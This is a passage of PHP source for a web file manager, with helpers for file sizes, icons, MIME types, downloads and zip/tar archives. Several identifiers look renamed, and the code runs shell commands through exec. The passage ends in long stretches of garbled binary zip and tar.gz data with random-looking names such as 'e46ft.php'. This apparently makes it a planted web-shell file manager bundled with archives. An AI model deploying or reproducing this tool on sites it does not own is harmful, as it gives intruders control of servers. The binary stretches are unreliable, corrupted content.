'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'insertion
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PKf[~KX77 e46ft.phpnu[PKIperror_log.tar.gz000064400000001034151032722660007667 0ustar00Oo0{iHR_WU!U9Wc34>ҤBi ^=2m,J]qXpt-uBnVRdUF.^鍂=Nr1,. $ɳu0g8(>$uPB::f< ?[2ܘ dJ,>ށ\k'2NQ9_ s`+鋬q6;sB+ a]֟R(/9;xs)+͒?0||2qҹR Dpej,7OQ+xn?[1 n`ŬT\E_V(X3/N]s3U\-s`[c%W.u7CF=ݢt|~#Nh4˰5N~OeDNixF_)w_1ڿ5(>h\`0:+pF`=1cJNz2:lt MPWFzatFwSҕv@{>hwd%.>?5 2dHx~=PKg[Ѣ oy5mbk.tar.gznu[KI+(`03 `hj`hjh`ldflbd7363W0࠴$h%=!4'ZA%VI:3MC15RC%>5(5(Z#$$ ?8D)VSNVA)((>'?v2sJSR52 Kr 2!.*JvQ0 F(pĻ PKg[ pk14de.tar.gznu[ dYW\@EttgDFxffeUgeFvUw2n'2*^̬SQ"r(WD0yDG_]}""3;+#ُ^{^krw~n yb<|*9|J3r!_t[|>j"j4>|A={˃~;w;˹c{˃R_>8S+Uyn~B?Y%?~>|/w 1k/+q/_p /C_>W|73V/s_i:jR|= {_׿_*ޛkWhx}Pkoo>ʙ)gKv[o|k;k7kF/.+s~w[-ßm/?GK?jߗ<g>=EG`P n5{1κy䋫[unܺr˹M<&=/t^v?zC7Y4׽a]{52`;LJ׹F '''PFczx0Z{{~oqiyPNx{UU+g3GcQYz\lg?5?yF]|9{ģvjgݝ~Fwft8y/f:_^RλOrFftjg}\=bmf4ݝ{F#} f_Y-֌shȌ ݹg;*l4Ӛuwu*2ӚuwuAт jfݝoF}81'9:)JH7UZxZj);':@NestwujΧ]s(wS >5z9>3[*==ݝoF}@fT1LOzFOݹg4sFQ_yv. MNl53sZvkn dI~oU3m_?㏳wwbF]a'wwu?NKn)JF3錾ס/~31+/ʅ㿞+g=?{Іg?avsȊgMq&uĭW>icg ķ^Ŀ]bS'haS|?h j)+‡)|u{7g> {kgx\[yaNe7Pl'Icmt9xxccNkk),BLV|Zj1TJ ߫J+AV)W R]AnkAX.[A9_u:+Vv7ӒJP "t%mA}j ?ەMB@3@U.wbJ7=XAAEO@P]d`QnT)fX*3.Q- J!`t[PQ`'8Wv˕^J<_er%SV*@y#[cD `0U"z4BxP)a*Vq+xZe YK0<+j9 *AR0JJ o!+НC W QVX1_L*Rq3AbK*ZIF^eqp@_ukӺ5"4bGdQ7h&as2*"NJb0_Q(p @82.Φ떷!A*h6A X-*BbA@m՘y@-K.SPi'"aI`E#,u&V5\ ցw RFMhlϤ A 4{ rgDn%7<%=mAA}0[ Jۥ:JЗN7)(!Gex**'G5{ld^lQ+r':TE[jȃ4dY8se8V9`*$O"p-+nW B3nP~KZ!=ROU5YF/@$%H+ H.԰M5ľLˍV;2àbj^/K%h[VYn[7-ۡzlVSP5RN^" 6P 2f50d?U%e a%ab+-bp Z$DI2^IBPY2gW(he؛\$bƤˮѶPs<ofP)"o#) MS.C="i,Xn=,"ƕ:Ta$*ʏ/ *((eXU!SǾѺ&V0U` +q1JB"aG2 2T.!`'m"TՖ؅$4]!kL,TRg]du*!]hai Gp[AtcD4娎آ%*vXnH]!C.VS LPh0PaRQ%EYcW0 ] |%uX5IL6܉iD|+<^,>&*[™B\2|0+Cũ ׊V P:яz7 '*R%x&hp&J— U;B ܤ'*r>/V-0@cmm/'O}a x0aѾˉ-j͕h oV.X8z@N=RZpYE=E. tK7nl,vYxCNJ&+.wy5$+(4lW 8V94LJG~≎rtL2ȗ h7`i-4"cYW9x8NTEyh.Rԡ*YR‘fA1nr||rQ ap#g@ 3vC0+<:]6b:"=E# Ld7䉊u4X)bi?mRFN}9E eLO1Dkg&ǦS\ ZRIW.I;lr˨WqpV1db#/KUf%AdV:v N/L6i:s.|GšVUb Oma 25ȂeJ&Mqg;mP(Q>q?BN4TJ n\:#CEG &ߖ 8!NFX h 6;qAIO1bBܣ4KdP?ZRFѾx} e3T%i?`ҩthEp[ZɊZt9_#!2<7P#r`VI=׳9bp#BvRdXa^JOu>+|,b! <kB8opynjџkȁEZ =5O#L. Ihg N(=`$E 0243`+qPr_BEI35}Vy!a8H ̀-0lR8?f4UV%!'Bͺ;YC7F۹a QsF%ħޠBD5햼W1*IrGU5@Saa@XM*g1bP!%L&O҅40d]fצ؀v#([l#*Gb_@V#戼EREiS (Ğ@ n=Rp'ā-?FVW8k ,N9I>E7x@;2%yQ8_g*`Y^] )D " /kw }/5%wJ֌}zd {*-L2WrhNpwbka *0@u| lᥢ٤l]:C\K3)o6Hr%<>f֐{d_*c .ib. x'a#꫸qH k-0.DNp5QX1hW] I`ݑU:[|JS:I0sfm<&@K pcUg {Jm*HȒB&=uK1A{`Dfwyo3HOdžZ T̓,lDeܴmv;/6Wda&6:].<h,:†`ُ Rp֏M 6 )PKM<#U"0zeSgMJ2DEtsaE(iBG!۬8&՜옟YRQA<\3nj9HBdP yR$ٍwZ‡[bkJggUԕ ^xdXWE̕aqB h -q#䴙~DڭpXѺ2 Cj&yʮ%˜:-F/P0C7BU,ܽtGzÊptE,Y*%6g) *P'Ѩ'z`sE h$- ++C0zZR\$&L*J-q\޲j:S!YhK ѝH&لóp{WFKD IMPNk,-~@7 YMMq*69X͕{مMYa ~,2ĸܲ9E*=5*@t=uULi,ˆ@ǀw/tCKZV=H)YE314`"52MSv#(\õǂ0Z2i5"E 8Y7q#v#wFf6tVh֣@X}}A˨-<E[T{KmFf@\fgCU0b٘$ sIV(6-"xjHJ.s8fC.!*Ԧb ,B $AռFѡF-H)vowxMuv@evNnLbA6(Fk M+]{ V[b( %-B,[3F$iiH{`s蓬QiqZԱ=rfk TB`xnzFb4qS_fqo J6YSВ/uOfD-%x'2A.^mTd(D ePtX9\*.žq/t; &:#8: r8U.Pq0pL4˥-jUiCdWm8!.-f8d"rGe k,nR_ Rm㎄:JuC(́ɇɦg:kc|^Jj -Kirr tEz򘂻XdЦ`}M_Ƽ@*|\1ȖI]=8se#: `,7)ė-R 7殘u+BD!B .pOd.k%|T1e*a$U),]ĖHM**DL \-K?DlD~I$(qt b5G)v2 ݽEԈ1:v<:2bgpڂ%efNW+y!Š$ơm.D%|F-r LS,(- $TUeqƳǧJb3;)^ ,U,y¦*e;iDLakn!gNKB`4A?fn(29xkz6$SrX '.[ mKP, \jY pEyGaM'!~%3 IF:2% dW/} 1;A8֜Ыz`üT_9GC9)WJ Sy9R&qSz$ѐCN3qEAT_e3‖@ DKI )$@ę3#ʽla@[g+b'L,5 TX bcsw.GBltL\MSm&E p=DlŹI m=†"D!MfXIu'd:ٻ>u,km$GwQ:N?d@Y TQ$D#LLԴ?r_D=LbB5"~ X69`1*N2$9 V+Xr bF[7_ҋ7D&It}Acq+6+23ǸaYuzAT!""B-x[E%V"ן@)Gp ǧLtLnit& .+QJM&T,|}BY MsBsFI( }!A| 7|4 d).gY=$'9˟oiBZd,4u%]'5䕸+f$u^5gމr;og8`} Xec9PR,. A؍-,Ю$_B̵hf$kۆ%IM*82.Yjo-[]ᘔóp;cLQ!Z;M=jf\D"<`X5)J}a *`aj`6(&d .Āg jh)& dɞ> r#v:SUB`XS ͙k: T`ei~:b4߅+2aȘ, aoՓ 7o]pM@RP2_[$Bpc=b$H9ɐ䈢~޷3mC@G;9*I:"ˡ0l,+$d"dQ$⬳Qf !2穘Ҏ$:`0[&:}MҔ\bF 5AIcdy`x @ %h1m+J4]LZ-b[eErzErCWJ Xut^f)eSh\NLC8+r8gOPK)G_LI0!B"MAX?b ;*Z)zYp֊|J,VO] S\j#Nۥ UFbV9z˂s+BY18*an<) _8+ .VA\ʾ .v# T&] ꙎOpR *錛骴d5u(OPOBiƅiNQ$$ z/ Ga?aWQi6q3q 9eFf9}YWVytΪɸ T/PN hռ XūMI@_ ̗.P//Q lGHAS+n,~Y᷼7c bXFKX3Zh2x sOogb┙>'VЃ(Y^Q i2$B>V&/e`GeF,gqÔ Z~IlYV'p# |x54ZYK6X;6LLYk +%"~ȴq)cߙ6iB{Cn~`-rix髹ׇ"ΚC,qʸVoZә6Y",e鹤)fTUVs!WtY@΋t*ȅlK㷦BUb^b32qML*WqGMs:">_]BXV9?J)ہ4AI>opz=Rdctc>)(б`FFJb@xJœ4)P|QUO|MѴHG·=?U==%d\n\rUתPM&B$Pi7{eqU"֗;rAhֆyS`\Gx/ oIcIKkDHǨT@n(|WLɻCͱb2%qQ{pLeLn,Ì6OJˁC)!P˰TTX Q C$6FI:n2sA pA`?a-l,UQ:2CGat{qEl-J%>=/uT m6p'S8J9( .&FVU>uk_mDR/0*Ph[*Fs8*+@H\跜ݺA/jhO@2Ek\6zzX.KO]]0tMQ^NWόbW.nqIUVzNNF Z/GI4^bN$^"-5b^-TWW(PQy{Zu%ɫG}Ih6.T!{ՙ"3E P!RA!̝<+WrF-0$7 s.L I!m J-^IKbMM\Q%fF6!.lAM7<m1 Q_XZujCW<, S(7''[#Cwc^D ! K1-8h+i+Ga.(Av` V;sӪ%2Q|S`Fd4\Wy9_/*Pj7S(.(2Hd O#(LרoIvx&QjCҜD{[ڏ$k93mR=pGEeXfLBZ$1/PD/[BD@I ],7O[`[2{ALЌ>4>Ps2WMt,RXu_/.#*nd.Wch SL2?E~m! ՆZɱRe D-4 wKț" \_ye$umʌ8&tc갽0RY f*FE؂>n++rx-0>%.znZ^FWU]y5ws-=4Bܡeb kYO0n[2<&o܉ԱY'e ւP gn9L,EFRUejޜQB 4F^Ю,s-sb3ш%635E]&=+Y>E>M0ȟWe'q69JKȍ y֘J̌d2sԂޭ]ԴK FGq>0/rIt#'['g9NEJ@gk2[>YJU# d!MyW% x{sK9>(g"YEN2j})*A:1M^J Jz-ig;餌*I)+e\@܍|FJ7,: \ݬv|y7MuMx=&/[)=tIoyR-nUq!\+ 7RrGUs; bJ !~5,eT)9D]a樊,ϊ3_gF>y"Cn tEW]\$CʣtI'*!O57&pJēWq ~!|<b' C_@BBer0lLmA" cxP.l2hC ՒMdNS+A2 o:r_+b9}`CjU`Gc:;. 'm.aTLMeSSUsڢLe.{MXw`aZ<+n$GmfN+pv(5ta"3 ⮴὆6pw}ETnMl fMœ#P#sWd"#`A#tN~ t'i\|WSJPrZYoN.c v*tږ7 4&ӜL!<4-D4:3F5sA BQg4ѠIlέWTV֒iP/$-1Dk2$rg,}Ψf.*/VΊREFih.[|x$n˓1NT٤ޚ(]oBݑ$")Pl櫼 JL`cBn(G-Y-q~Ƀ"5}!PɉE>+5"@w!ފ}JpAɛdXq]+hЬ 9I_TC5ş)qH]4f¦-[չM` υU#TDߩ CoTr$2G3 L~CـpuykDFg=†C0dHu $W:mj ȚA&mT /`m 'g7,MI64M+lB>% UZ2j?UX9!Cg)kX Ly, @杩 &PM5$R(} o(JDJMUm\C$݄uiDz]&Ҿfj9_"# |)OD#ӭLkh(6BnȐQVAEq_L+6xibY7ԅRɾSj`hu$Z&]*XR>2դ"5V)E\Ҝ`\B@&Upʋ`)v[j1sX!I,\&R<@QS,l h*d@s& WRh{b&]@4”6v#`4@D*kshgl?x (PFFEl=B$Mt%N! }0MW542h#0lEQVeah %< Pp`7-,.ȩHhK[k LXb} Ž~Fݪf&:'!5ZE2HK+veR񱘛"ɭ&^46-;e 8N;ʦ D4O٥Wt >Hu2`~`dLET+.T3H]u#b݊k;8-@_N"hWɋN%Q\:l]dXubY|#$n'R7Nh[tF3= %\XDW 1j2voOQaԃP j:;FDJ%m{daFoGQVi峨3EH0401w됔5-$eV QfcXMg}ŴP /=8X[R:(DX\'L ־[M;CV%#%Nz^ ’NJ鹉{Ά]W̓zE(B26E(5L.E.]Vĸbq >_Wn*[Aw(q-Ĺ0^ FJq}{^?.M &ǎnDtؖ96`lea4F?nrQ*P"4îeuWez }%-FWQy>hU( fv =0dBRuT^J̜蛷MMbSr;ė:3٪iο:( ,r2q%\BzuZS-X=A ˢF Jy | X X6ثZpOx"ΝHD-BUDj@eNrR hiĄK͠[ ;*YGN7< e,qd]I;"*}(N+Rh7Qf&ZnuE""U>`{VL&c($^~(A0 ˜L #V,+tv".&i:p,_+!} Y8BE_ Xn^U\2t$MdۥlU渰qy.]cEr_58~ 3z-^hCd3NN29Qeq55~ _H=4zÃvo݅}q`؟Z?,k SE Q#8fߐ.΅_(Hb!+gY3GWß槟s+r ۽0a/^v`y0{ng9ww:qos1h.ZsJg ݏ/Tṛ/TN~˧sI,RkVY;?,oV}7uewޕ;) q(;qh {Τ a{<{ajqz~>|'1ڟx~%8:p׭fo6YNZKΝͷ[Wn97 sąV7#o;ЛCvωlbsqe:nn3 ҃ fTtVheݳwwtQwZ(<=]wXguQ6UӚuwu2ŕ530n~vҌhČV9՞֌shΌOuFq̨ه3C2BTuSZY-?-ݝp"} Emק39ᨯNxÃI&A PC9z-Qj,U wjgnWZOT%<{wXg-UQʌV OT%<{wQ_3j+}{J&|?2'EF€r~,?v_.7+;Ɵ?tngGZ?/|ooKzӾW_8^_Wү^: G__߸Q~9ώk? c[exW_ ]xٯ-_{_g:߾e .o/_+ ag"9-JD??ׅ'G Kt4?S|ůkt}:/__w>s¥~/|#sw_{x[? [|O7i>w~A_~7W\/_g?g3>?Y//\\o?\nu/|Z˿Yg7_\Wg?|OS?y+\>~M^;~W3{_CoϿKG?w?KƷ}o飯vG+N۾ˆo+?ǯɿO}{M[7.7}-?[_o\_/ƯI?2/|? 